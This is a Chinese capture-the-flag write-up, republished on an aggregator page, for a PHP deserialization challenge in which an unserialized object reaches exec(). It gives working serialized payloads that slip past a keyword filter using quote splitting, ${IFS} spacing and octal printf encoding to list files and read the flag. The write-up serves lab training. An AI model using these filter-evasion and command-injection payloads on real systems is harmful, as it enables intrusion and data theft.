unseping

news2024/9/24 5:24:47

代码审计

<?php
highlight_file(__FILE__);

class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
 
    function __destruct(){
        if (in_array($this->method, array("ping"))) {
            call_user_func_array(array($this, $this->method), $this->args);
        }
    } 
 
    function ping($ip){
        exec($ip, $result);
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
        }
    }   
}

$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>

本代码定义了一个叫ease的类,类中包含:

  • _wakeup:在反序列化之前被掉用,利用一个foreach循环,调用waf方法检测传入的数组中是否包含黑名单字符,如果不包含则执行__construct方法

  • __construct:在类被实例化后自动调用,定义两个属性,并赋以初值

  • __destruct:类运行完,销毁之前调用,如果method属性在数组ping中,(就是会说method属性的值=ping)就调用call_user_func_array函数

call_user_func_array

语法:
call_user_func_array ( callable $callback , array $param_arr )

解析

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。

返回回调函数的结果。如果出错的话就返回FALSE

回调函数是什么:就现在初步理解就是有一个函数,然后作为参数传递给了另一个函数(这里就是call_user_func_array函数)在另一个函数调用完后,在进行调用本身

所以这里的意思就是将$args的数据作为参数传递给ping函数

exec函数

exec是PHP中的一个函数,用于执行外部命令并获取其输出。

基本的exec语法如下:
exec(command, output, return_var);
  • command是要执行的外部命令。

  • output是一个可选参数,用于存储命令执行后的输出结果。

  • return_var是一个可选参数,用于存储命令执行后的返回值。

例如,我们可以使用exec执行一个简单的命令,并将输出存储在一个变量中:

$output = exec('ls');
echo $output;

exec函数执行linux下的ls命令,并将其输出赋值给变量$output,然后使用echo输出结果。

因为系统环境不一样,所以执行不了linux命令,windows环境下只能执行windows命令

注意:

exec函数只会返回命令的最后一行输出。如果要获取命令的完整输出,可以使用shell_exec函数。

$output = shell_exec ('ls');
echo $output;

exec函数还可以用于执行其他系统命令,比如执行一个Python脚本、调用其他可执行程序等等。

绕过方式

所以这里需要绕过的地方只有一个,那就是wakeup方法,一开始本来想着是利用成员数大于真实数,去绕过wakeup方法来着,结果发现不行,本地调试进都进不去

然后我看着这个正则没有修饰符i(不区分大小写),尝试大小写绕过,但是linux系统对大小写是敏感的,要是直接使用ls查看文件的话恐怕不行

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('DIR'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

最后使用的windows命令,也不用大写,但是没有查询到相关信息,看来还是要使用linux命令

引号绕过

经过查看wp得知,我们可以采取php单双引号的性质进行绕过,在php下,二者的主要区别在于,被单引号括起来的字符都是普通字符,就算特殊字符也不再有特殊含义

而被双引号括起来的字符中,"$"、"\"和反引号是拥有特殊含义的,"$"代表引用变量的值,而反引号代表引用命令。

所以我们可以利用这个性质去绕过

但是其实在linux 下,只要引号是出于闭合状态都不影响命令执行,主要是后面用得到

空格绕过

空格可以用以下字符代替:

< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}等

$IFS$9在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

${IFS}是Linux中的一个特殊变量,它代表了当前的字段分隔符。

${IFS}的默认值是空格、制表符和换行符。所以,当你输入命令时,以空格、制表符或换行符作为分隔符,将输入的内容分割成不同的字段。每个字段将作为命令的一个参数进行解析和执行。

需要注意的是,在命令行中,${IFS}是在命令执行之前被解析和替换的。所以,${IFS}在命令执行时不会再被解析为字段分隔符。

如果你想在命令中使用${IFS}作为普通的字符串而不是字段分隔符,你可以使用单引号或者转义字符对其进行引用。

总结起来,${IFS}是Linux中的一个特殊变量,它代表了当前的字段分隔符,用于将输入内容分割成不同的字段作为命令的参数。

printf绕过(字符串进制绕过)

printf的格式化输出,可以将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

在linux下也可以利用print命令将十六进制或者八进制的字符数字转化成其对应的ASCII字符内容输出

$()与 ` `(反引号):

$()和(反引号)都是用于在Shell脚本中执行命令并将其输出赋值给变量或作为命令的一部分。可以理解为,先完成符号里的命令,然后将其执行结果作为其他命令的一部分继续执行或者赋值给变量。

解题步骤

首先我们利用单双引号绕过正则表达式,执行ls命令

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('l""s'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

得知一个疑似目录,接着查看目录下的内容,采取${IFS}代替ls与目录之间的空格

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('l""s${IFS}f""lag_1s_here'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

这里要注意的是外侧引号一定是单引号,因为双引号会执行特殊含义字符,这里会将${IFS}给解析掉,导致传入失败

根据回显数据得知一个php文件,最后我们只需要cat这个文件的内容就可以获得flag

但是如果要直接cat的话,就需要路径去指定flag文件了,但是本题已经将路径符/给正则掉了

所以我们对/进行十六进制编码绕过,并利用$()和print进行传递

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('c""at${IFS}f""lag_1s_here$(printf${IFS}"\x2f")f""lag_831b69012c67b35f.p""hp'));
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

结果发现十六进制传参不行,会返回一个空数组

八进制绕过可以成功

那既然这样,我是不是可以尝试一下全部都转码

class ease{
private $method;
private $args;
function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
}
}
$a = new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));
//cat flag_1s_here/flag_831b69012c67b35f.php
$b = serialize($a);
echo $b.'<hr>';
echo base64_encode($b);

成功

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/735207.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

关于 colab Tutorial的介绍

&#xff08;一&#xff09;常用的快捷键 (二) 网上环境的配置 按照官网上所给的提示一步一步操作即可 注意&#xff1a;此平台需要科学的上网

word因导入mathtype不能使用复制粘贴快捷键的解决方法

1. 我们安装完mathtype后&#xff0c;有时会有两个mathtype显示&#xff0c;其中一个是属于office文件夹下的&#xff0c;另一个是win文件夹下的。如图&#xff1a; 2. 如果word中的复制粘贴快捷键&#xff08;CTRLC和CTRLV&#xff09;不能用&#xff0c;通常是因为office路径…

Arduino STM32F103C8+ST7735 1.8‘‘3D矢量图形demo

Arduino STM32F103C8ST7735 1.8’3D矢量图形demo &#x1f4cc;开源项目地址&#xff1a;https://github.com/cbm80amiga/ST7735_3d_filled_vector&#x1f527;所需库&#xff1a;https://github.com/cbm80amiga/Arduino_ST7735_STM&#x1f516;本开源工程基于Arduino开发平台…

JavaWeb JSP基础语法和指令

1. JSP语法 JSP是Java技术的一种应用&#xff0c;对Java所有的语法都支持&#xff0c;除此之外&#xff0c;还有一些扩充的语法。 1&#xff09;输出变量 <% new java.util.Date()%> <% name %> 2) 执行java代码 <% int a 0, b 1, t; for(int i0;i<10;i)…

day61_SSM+自定义注解实现日志记录

SSM自定义注解AOP实现日志记录 1 需求 工作中,经常会遇到记录日志的动作,以前是使用日志框架来实现,现在可以使用注解来实现,使用起来更方便,随用随加~ 今天我们演示在SSM的基础上,对普通的方法加上自定义注解,注解中写上该方法的日志信息,然后将日志信息记录到数据库中. 编…

时间序列预测 | Matlab移动平均模型MA时间序列预测

文章目录 效果一览文章概述部分源码参考资料效果一览 文章概述 时间序列预测 | Matlab移动平均模型MA时间序列预测 评价指标包括:MAE、RMSE和R2等,代码质量极高,方便学习和替换数据。要求2018版本及以上。 部分源码 %% 清空环境变量 warning off % 关闭报警信息…

Go 并发模型—Goroutines

前言 Goroutines 是 Go 语言主要的并发原语。它看起来非常像线程&#xff0c;但是相比于线程它的创建和管理成本很低。Go 在运行时将 goroutine 有效地调度到真实的线程上&#xff0c;以避免浪费资源&#xff0c;因此您可以轻松地创建大量的 goroutine&#xff08;例如每个请求…

win11病毒和防护功能显示‘页面不可用’的解决方法

问题如上图所示&#xff0c;试了很多种方法&#xff0c;有一种是可以用的&#xff0c;记录一下。 步骤&#xff1a; 1、搜索框输入cmd&#xff0c;以管理员身份运行命令提示符 2、输入 第一条代码 reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows D…

吉他谱如何自动播放?个人乐谱播放网站YUERGS搭建

吉他谱如何自动播放&#xff1f;个人乐谱播放网站YUERGS搭建 背景介绍网站布局技术栈代码结构吉他谱文件结构滚动播放 背景 我是一个吉他弹唱爱好者&#xff0c;我的吉他谱都是自己在网络上收集到的图片&#xff0c;一般一首曲子都是好几张图片组成的。当我在弹吉他时&#xf…

#systemverilog# 进程控制问题#(五)关于 disable fork的陷阱

一 概念回顾 SV中的进程包括:静态进程、动态进程。 静态进程:initial、always、fork...join 发起; 动态进程:fork...join_any 、fork...join_none 发起; 注意,以下情形,进程(process)会产生相应的线程(thread)。 (1)initial 、always 执行,会产生相应的线程 (…

[VUE学习]权限管理系统前端vue实现8-右上角用户头像显示实现

1.登录成功之后存储 用户信息 在store里面添加代码 SET_USERINFO: (state, userInfo) > {sessionStorage.setItem("userInfo", JSON.stringify(userInfo))},GET_USERINFO: state > {return JSON.parse(sessionStorage.getItem("userInfo"))} 2.Logi…

顺利通过高项

这里有我自己手敲的2022年12月改版后&#xff08;最新&#xff09;的十个项目管理的过程&#xff0c;包括他们的输入、输出、工具与技术&#xff0c;还有各个过程的作用&#xff1a; 然后还有十篇自己写的论文&#xff1a; 更有第四版的教程&#xff08;PDF版&#xff09;&a…

❤️创意网页:动态彩色泡泡页面(HTML+CSS+JS)简单好用

✨博主&#xff1a;命运之光 &#x1f338;专栏&#xff1a;Python星辰秘典 &#x1f433;专栏&#xff1a;web开发&#xff08;简单好用又好看&#xff09; ❤️专栏&#xff1a;Java经典程序设计 ☀️博主的其他文章&#xff1a;点击进入博主的主页 前言&#xff1a;欢迎踏入…

二叉搜索树的第K大节点

还是做简单题有成就感&#xff0c;看到题就有了想法&#xff0c;先来一个中序遍历放到一个容器里面&#xff0c;然后按下标找到第k大的数就行&#xff0c;这是我的代码。 class Solution {Deque<Integer> deque new LinkedList<Integer>();public int kthLargest…

Android NTP时间同步源码分析

Android NTP时间同步源码分析 Android系统设置自动时间后&#xff0c;如果连接了可用的网络。会同步网络时间。这个处理是 NetworkTimeUpdateService完成的。某些定制化的系统&#xff0c;需要禁止网络时间同步。比如仅仅使用GPS时间。基于Android9&#xff0c;分析一下 Andro…

高效协作助力企业发展:企业网盘在提升工作效率方面的重要作用!

企业网盘是一种专门为了企业协作工作而设计的在线文档管理平台&#xff0c;受到了众多企业用户的青睐与喜爱。企业网盘如何大幅提高企业协作工作效率&#xff1f; 1、提高文件访问效率 传统的文件共享方式往往使用邮件附件或U盘进行传递&#xff0c;可能会遇到文档版本不一致、…

我用Python破解了邻居家的WiFi,从此实现了流量自由

前言 先声明一下&#xff0c;并不是一直白嫖邻居家的WiFi&#xff0c;emmmmmm事情是这样的 周六在家休息&#xff0c;突然领导来了个急活让我搞一下&#xff0c;虽然只花费一点时间&#xff0c;但是我内心是表示不愿意的&#xff0c;毕竟周六是我的私人休息时间&#xff0c;但…

Matlab画二维、三维等T0构造图(或称为等高线图)

clc;clear;close all; data xlsread(J-UNCONFORMITY等T0构造.xlsx); x data(:,1) xmax max(x); xmin min(x); y data(:,2) ymax max(y); ymin min(y); z data(:,3); N …

HBuilder:开发者之梦的实现

目录 引言关于HBuilderHBuilder的优点&#xff1a;HBuilder的缺点&#xff1a;HBuilder使用的简单示例总结 Hbuilder 官网 引言 在当今数字化时代&#xff0c;移动应用程序开发已经成为了一个全球热门的领域。伴随着智能手机和移动设备的普及&#xff0c;人们对于移动应用的需求…

Canal adapter同步MySQL到ES,部分时间字段始终同步不过来

解决思路&#xff1a;把查出来的字符串格式化一下 MySQL查出来的20180116120000这个如何转换成2018-01-16 这是一个常见的需求&#xff0c;我们通常在MySQL中使用DATE或DATETIME函数将字符串格式转换为日期或日期时间格式。但是&#xff0c;你的数字并不符合MySQL直接转换的标…